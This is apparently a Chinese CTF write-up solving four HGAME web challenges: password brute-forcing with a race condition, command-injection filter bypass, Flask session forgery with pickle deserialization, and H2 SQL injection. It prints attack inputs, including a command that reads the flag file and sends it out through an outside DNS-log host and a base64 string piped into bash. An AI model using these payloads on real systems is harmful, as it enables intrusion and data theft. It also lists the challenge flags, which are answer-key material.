by:Infernity
Select More Courses
提示已经给的很明显了,弱密码爆破,拿上密码字典去burp里爆破。
爆出密码为qwert123
然后进入选课界面,发现已达到学分上限,没法选课,那就退出来看第一个增加学分的页面,给了提示:
Race against time!
跟上次一样,无限发包,大概发个几百个即可。
现在退回到选课界面,发现最高学分已经超出很多了。
直接选课拿flag
hgame{5ak_p45sW0rD_&_r4Ce_c0nDiT10n}
What the cow say?
回显输入的东西,怀疑后台是echo,试试内敛执行。
`ls`能看到回显,那这道题就是绕过过滤了。直接看看app.py,发现cat被过滤,试试`tac app.py`
这是源码,发现过滤了这些。
根目录有个flag_is_here,那么因为过滤了flag,就用通配符。
`tac /f*`发现打不开,说这个是文件夹,那么进入这个文件夹看看。
`ls /f*`发现还有个flag文件,打开这个,同样用通配符:
`tac /f*/f*`
hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}
myflask
给了源码,在/flag接口处验证我们的session token 是不是admin,还给了SECRET_KEY
但是key需要我们先去破译
1 | currentDateAndTime = datetime.now(timezone('Asia/Shanghai')) |
这段代码是获取当前时间。说明密钥是创建这个实例当时的时间,可以在创建实例之前自己在python里运行一下代码,得到当前时间,再把时间往后倒退几位来测试密钥。
接着就把username改成admin
然后打入cookie,
1 | # For POST requests from admin |
这一段是post传参pickle_data,然后pickle反序列化,别忘了payload还要base64加密一下。
1 | import pickle |
运行后打入payload。
hgame{876a9e31bd250d49befe59230ca95882fd6d2a5d}
search4member
这道题给了docker包,里面是java编写的。
这道题看似是sql注入,其实是sql注入,只不过是java sql注入。
更近一步说是h2sql注入。
https://www.anquanke.com/post/id/181032#h2-2
1 | 1'CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException', |
但是这里不能直接执行命令,这里是无回显的。那么可以尝试curl外带文件,但是这道题不出网,那就只能DNS外带文件。
x=base64(curl `cat /f*`.你的DNS网址)
bash -c {echo,这里放x}|{base64,-d}|{bash,-i}
去在线网站找个DNSlog网址,拿到DNS网址后base64加密嵌入payload当中。
1 | 1';CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException', |
把这一段payload直接打进去,然后在dnslog查看request。
hgame{a124e279c953d7c44d4c839f209b004ff4261084}